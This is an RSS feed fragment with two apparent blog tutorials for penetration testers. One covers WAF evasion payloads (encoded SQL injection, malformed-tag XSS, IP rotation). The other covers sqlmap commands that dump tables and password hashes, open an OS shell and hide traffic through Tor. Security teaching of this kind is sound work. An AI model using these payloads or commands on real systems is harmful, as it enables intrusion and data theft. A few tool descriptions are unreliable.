            <dc:creator><![CDATA[gasmask]]></dc:creator>
            <pubDate>Sat, 05 Apr 2025 19:39:19 GMT</pubDate>
            <atom:updated>2025-04-10T17:44:41.247Z</atom:updated>
            <content:encoded><![CDATA[<p>Web Application Firewalls (WAFs) have become smarter and more widespread in 2025, acting as one of the first lines of defense against injection attacks, brute-force attempts and other malicious web traffic. But for penetration testers and bug bounty hunters, understanding how to bypass these intelligent security systems is key to assessing the true security posture of an application.</p><p>In this post, we’ll break down what WAFs do, how they detect attacks and explore a comprehensive set of <strong>new and refined evasion techniques</strong> for 2025.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lr9iPLcNc2qqslG6" /></figure><h3>🔍 What is a WAF?</h3><p>A <strong>Web Application Firewall</strong> is a security filter placed between users and web applications. It monitors HTTP/HTTPS traffic to block attacks like:</p><p>~ SQL Injection</p><p>~ Cross-site Scripting (XSS)</p><p>~ Remote Code Execution (RCE)</p><p>~ Local File Inclusion (LFI)</p><p>~ Directory Traversal</p><p>Modern WAFs use rule-based filtering, signature matching, machine learning models and behavior analysis. Popular WAF providers include <strong>Cloudflare</strong>, <strong>Akamai</strong>, <strong>AWS</strong> <strong>WAF</strong>, <strong>Imperva</strong> and <strong>F5</strong>.</p><h3>🧠 How WAFs Detect Malicious Traffic</h3><p>To bypass a WAF, you must first understand <strong>how</strong> it detects your traffic. Techniques include:</p><ol><li><strong>Pattern Matching</strong> — Regex-based detection of attack payloads (e.g., UNION SELECT, &lt;script&gt;)</li><li><strong>Anomaly Scoring</strong> — Assigning scores based on request anomalies like encoding, request size, uncommon headers</li><li><strong>Heuristics &amp; Behavior</strong> — Blocking based on behavioral patterns (e.g., timing, repetition)</li><li><strong>ML-Based Detection</strong> — Newer WAFs now use trained models to detect obfuscated payloads</li><li><strong>Rate Limiting &amp; Geo Blocking</strong> — Traffic from known IPs, ranges, or abnormal geos are throttled or blocked</li></ol><h3>🚧 Challenges with Modern WAFs</h3><p>In 2025, WAFs are more integrated with:</p><ul><li>Threat intelligence feeds</li><li>Real-time learning models</li><li>Bot detection engines</li></ul><p>This means traditional bypasses often fail. But with creativity, knowledge of how WAFs operate, and new tooling, you can still evade them effectively during pentests.</p><h3>⚠️ Legal &amp; Ethical Disclaimer</h3><p>Only test systems you are authorized to assess. WAF bypasses can lead to unintended damage or data exposure if done irresponsibly.</p><h3>🛠️ Updated Bypass Techniques for 2025</h3><p>Here’s a categorized breakdown of modern WAF evasion tactics:</p><h4>🔄 1. Payload Obfuscation Techniques</h4><ul><li><strong>Unicode/Encoding Tricks:</strong></li></ul><p>Use of %uXXXX, char() functions, or mixed encoding (%27, \u0027, etc.) to bypass keyword detection.</p><p>Example:</p><pre>SELECT%u0020*%u0020FROM%u0020users%u0020WHERE%u0020id=1</pre><ul><li><strong>String Splitting:</strong></li></ul><p>Breaking payloads with inline comments or concatenation.</p><pre>SEL/**/ECT * FROM users --</pre><ul><li><strong>Keyword Case Randomization:</strong></li></ul><p>WAFs may not normalize casing.</p><pre>SeLeCt * FrOm users</pre><ul><li><strong>String Concatenation:</strong></li></ul><p>Use SQL tricks: UNION → &#39;UNI&#39;+&#39;ON&#39;</p><h4>🧪 2. Tamper Scripts (SQLMAP)</h4><p>SQLMAP supports custom tamper scripts that modify payloads to evade WAFs. Newer scripts in 2025 adapt to common WAF behavior:</p><ul><li>randomcase.py: Randomizes the case of SQL keywords.</li><li>space2comment.py: Replaces spaces with comments (/**/).</li><li>charunicodeencode.py: Encodes characters in Unicode.</li></ul><p>Example:</p><pre>--tamper=between,randomcase,charunicodeencode,space2comment</pre><p>💡 Pro Tip<strong>:</strong> Chain multiple tamper scripts for better results.</p><h4>🧱 3. HTTP Header Manipulation</h4><p>Modern apps parse multiple headers and parameters:</p><ul><li>Try injecting SQLi or XSS in headers like X-Forwarded-For, X-Originating-IP, or User-Agent.</li></ul><p>Sometimes the second parameter bypasses WAF filters.</p><h4>🌀 4. Payload Wrapping</h4><ul><li>Wrap payloads in SQL or HTML comments:</li></ul><pre>UN/**/ION/**/SELECT</pre><ul><li>Use malformed HTML tags to evade XSS detection:</li></ul><pre>&lt;scr&lt;script&gt;ipt&gt;alert(1)&lt;/script&gt;</pre><h4>🧱 5. HTTP Parameter Pollution (HPP)</h4><p>Send the same parameter multiple times to confuse the parser:</p><pre>?id=1&amp;id=2</pre><p>This can lead to inconsistent interpretation between WAF and backend.</p><h4>🕳️ 6. Cloaking With Encoded Traffic</h4><ul><li>Base64 encode payloads</li><li>Use JSON or XML-based requests instead of URL parameters</li><li>Use multipart/form-data to deliver payloads hidden in file uploads or fields</li></ul><h4>📦 7. Low and Slow Attacks</h4><ul><li>Use tools like <strong>slowloris</strong> or <strong>slowhttptest</strong></li><li>Send payloads byte-by-byte with delays to avoid detection</li></ul><h4>🌐 8. Geo &amp; Rate-Based Bypass</h4><ul><li>Use <strong>residential proxies</strong> or <strong>VPNs</strong> to avoid geo-blocking</li><li>Rotate IPs to avoid triggering rate limits</li><li>Tools like <strong>ProxyCannon-ng</strong> or <strong>Burp Collaborator</strong> can assist</li></ul><h4>🔁 9. Time-Based Triggering</h4><p>Use <strong>timing payloads</strong> (especially for blind SQLi):</p><pre>IF(1=1, SLEEP(5), 0)</pre><p>WAFs may ignore benign looking payloads that delay response</p><h4>👥 10. Second-Order Attacks</h4><ul><li>Store payloads in one location that gets executed in another (e.g., admin panel)</li><li>WAFs may miss these since the injection isn’t directly executed</li></ul><h3>🔧 Tools That Help with WAF Bypass</h3><ul><li><strong>SQLMAP</strong> — With advanced tamper scripts</li><li><strong>Burp Suite Pro</strong> — Intruder, Turbo Intruder, BApp extensions like <em>Bypass WAF</em> and <em>Hackvertor</em></li><li><strong>Wfuzz / FFUF</strong> — For customized payload fuzzing</li><li><strong>Kiterunner</strong> — Bypasses for non-standard routes/endpoints</li><li><strong>SecLists</strong> — Updated with 2025 payload sets and bypass wordlists</li><li><strong>HTTP Toolkit / mitmproxy</strong> — For testing encoded or wrapped payloads</li></ul><h3>🦾 Burp Suite Extensions</h3><ul><li><strong>Bypass WAF</strong></li><li><strong>Hackvertor</strong>: Live encode/decode payloads in interesting ways.</li><li><strong>Param Miner</strong>: For header-based and hidden parameter fuzzing.</li></ul><h3>🧠 Pro Tips for 2025</h3><ul><li><strong>Start simple:</strong> Basic encoding or case variations still work sometimes</li><li><strong>Mimic real users:</strong> Emulate browser headers, user-agents, and normal traffic</li><li><strong>Test different encodings:</strong> Base64, URL, Unicode, HEX</li><li><strong>Observe WAF behavior:</strong> Log responses (403, 406, 503) and response timing</li><li><strong>Mix techniques:</strong> Chain multiple bypass techniques for best results</li><li><strong>Automate with caution: </strong>Tools help, but manual tweaking is still essential</li></ul><blockquote>POINTS TO NOTE:</blockquote><ul><li><strong>Test in a controlled environment.</strong></li><li><strong>Avoid overloading production servers.</strong></li><li><strong>Document every bypass technique with payload and response.</strong></li><li><strong>Always stay ethical — never attack systems you don’t own or have permission to test.</strong></li></ul><blockquote>Also Checkout my new story!<br><a href="https://medium.com/@gasmask/uncommon-headers-that-bypass-everything-almost-bug-bounty-edition-2025-9d2ea65b2076">Bypass every WAFs with uncommon Headers - Bug bounty Edition</a></blockquote><h3>🏁 Conclusion</h3><p>In 2025, WAFs are smarter, but so are we. By understanding their logic and adapting new evasion tactics, ethical hackers can effectively test real-world protections. Whether you’re a bug bounty hunter or a red teamer, mastering WAF bypass strategies will elevate your skill set.</p><p><em>Stay tuned for our next post on underrated pentesting tools that deserve more attention in 2025!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdb3508e6b46" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why is this the ultimate SQL injection tool out there in the market]]></title>
            <link>https://medium.com/@gasmask/sqlmap-on-steroids-unleashing-sql-injection-b4602eefd4a3?source=rss-84b8c41953f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4602eefd4a3</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[sqlmap]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[gasmask]]></dc:creator>
            <pubDate>Mon, 31 Mar 2025 07:57:29 GMT</pubDate>
            <atom:updated>2025-04-02T17:21:39.906Z</atom:updated>
            <content:encoded><![CDATA[<p>SQL injection remains one of the most critical web vulnerabilities, allowing attackers to manipulate databases and extract sensitive information. Among the many tools available for automating SQL injection, <strong>SQLMAP</strong> stands out as the ultimate weapon for security researchers and ethical hackers. In this blog, we’ll explore what makes SQLMAP so powerful, how to use it effectively and best practices to <strong>avoid detection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1jznn-JY897yeKC1APfseQ.jpeg" /></figure><h3>What is SQLMAP?</h3><p>SQLMAP is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports multiple database management systems (DBMS) such as MySQL, PostgreSQL, Microsoft SQL Server, Oracle and more. With features like database fingerprinting, data extraction and even privilege escalation, SQLMAP is a must-have for any ethical hacker’s toolkit.</p><h3>Why SQLMAP is the Ultimate SQL Injection Tool</h3><ol><li><strong>Automated Detection:</strong> SQLMAP can detect SQL injection vulnerabilities with minimal user input.</li><li><strong>Comprehensive Exploitation:</strong> It supports various SQL injection techniques, including boolean-based, time-based, error-based, UNION-based and out-of-band (OOB) injections.</li><li><strong>Advanced Database Enumeration:</strong> Users can extract databases, tables, columns and even dump entire databases.</li><li><strong>Bypassing Security Controls:</strong> SQLMAP includes WAF bypass techniques and supports tamper scripts for evading filters.</li><li><strong>Privilege Escalation &amp; OS Command Execution:</strong> When conditions allow, SQLMAP can escalate database privileges and even execute system commands.</li></ol><h3>Getting Started with SQLMAP</h3><p>Before using SQLMAP, ensure you have Python installed on your system. You can install SQLMAP by cloning it from GitHub:</p><pre>git clone https://github.com/sqlmapproject/sqlmap.git<br>cd sqlmap<br>python sqlmap.py -h</pre><h3>Basic SQLMAP Usage</h3><h3>1. Testing a URL for SQL Injection</h3><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; --dbs</pre><p>This command tests the parameter id for vulnerabilities and lists available databases.</p><h3>2. Enumerating Tables and Columns</h3><p>Once you have the database name, extract table names:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; -D database_name --tables</pre><p>To list columns of a specific table:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; -D database_name -T table_name --columns</pre><h3>3. Dumping Database Contents</h3><p>To extract all data from a table:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; -D database_name -T table_name --dump</pre><p>Dumping an entire database can be risky on live environments due to server load and detection mechanisms. To extract specific entries, use the --where parameter:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; -D database_name -T table_name -C username,password --dump --where=&quot;id=5&quot;</pre><p>This command extracts only the username and password of a user with ID 5.</p><h3>4. Bypassing WAFs Using Tamper Scripts</h3><p>Some websites have Web Application Firewalls (WAFs) that block SQL injection attempts. SQLMAP offers tamper scripts to help bypass these defenses:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; --tamper=between,randomcase --dbs</pre><p>You can also chain multiple tamper scripts together to evade detection effectively. The best tamper script depends on the specific WAF in use.</p><h3>5. Accessing the Operating System via SQL Injection</h3><p>In some cases, SQLMAP can be used to execute operating system commands on the database server. If the database user has sufficient privileges, you can use the --os-shell option:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; --os-shell</pre><p>This opens an interactive shell that allows you to execute system commands on the server.</p><h3>6. Brute-Forcing Password Hashes</h3><p>If SQLMAP extracts hashed passwords, you can try cracking them using tools like Hashcat or John the Ripper. SQLMAP can also attempt dictionary attacks with the --common-tables option:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; --passwords</pre><p>This reveals stored password hashes, which can be cracked offline.</p><h3>7. Using SQLMAP with Proxychains for Anonymity</h3><p>To avoid IP detection and logging, SQLMAP can be routed through <strong>Tor</strong> or a VPN. Using Proxychains, you can tunnel your SQLMAP traffic through the Tor network:</p><pre>proxychains python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; --dbs</pre><p>This method helps avoid direct exposure of your real IP address.</p><h3>8. Time-Based Blind SQL Injection</h3><p>When direct output is not available, SQLMAP can leverage time delays to infer database information:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; --technique=T --dbs</pre><p>This forces SQLMAP to use time-based blind SQL injection, useful for testing in environments with restrictive error handling.</p><h3>9. Fingerprinting the Database Version</h3><p>To identify the exact database version, use:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; --banner</pre><p>This helps tailor SQL injection techniques for maximum effectiveness.</p><h3>10. Exploiting Second-Order SQL Injection</h3><p>Some applications process user input asynchronously. SQLMAP can be used in <strong>second-order SQL injection</strong> scenarios by specifying the delay or using --second-url:</p><pre>python sqlmap.py -u &quot;http://example.com/index.php?id=1&quot; --second-url=&quot;http://example.com/confirm.php&quot;</pre><p>This technique is useful when injected queries get stored and executed later in another process.</p><h3>Best Practices for Using SQLMAP</h3><ul><li><strong>Avoid Noisy Attacks:</strong> Use --level and --risk parameters wisely to avoid detection.</li><li><strong>Use Proxychains or VPNs:</strong> Running SQLMAP through a proxy (--proxy=http://127.0.0.1:8080) can help obfuscate your activities.</li><li><strong>Be Ethical:</strong> Only test sites you have explicit permission to assess.</li><li><strong>Combine Manual Testing:</strong> SQLMAP is powerful, but manual validation ensures better exploitation.</li><li><strong>Optimize Performance:</strong> Running SQLMAP with --threads can speed up scanning, but use with caution to avoid overloading servers.</li></ul><h3>Conclusion</h3><p>SQLMAP is an indispensable tool for security researchers, providing an automated way to test and exploit SQL injection vulnerabilities. However, ethical considerations and stealthy usage are crucial for responsible pentesting. By mastering SQLMAP’s capabilities, you can uncover database weaknesses efficiently and contribute to securing web applications.</p><p><strong>Have you used SQLMAP in your pentesting journey? Share your experiences in the comments!</strong></p><blockquote><strong>Also leave your comment on what to post next😉</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4602eefd4a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>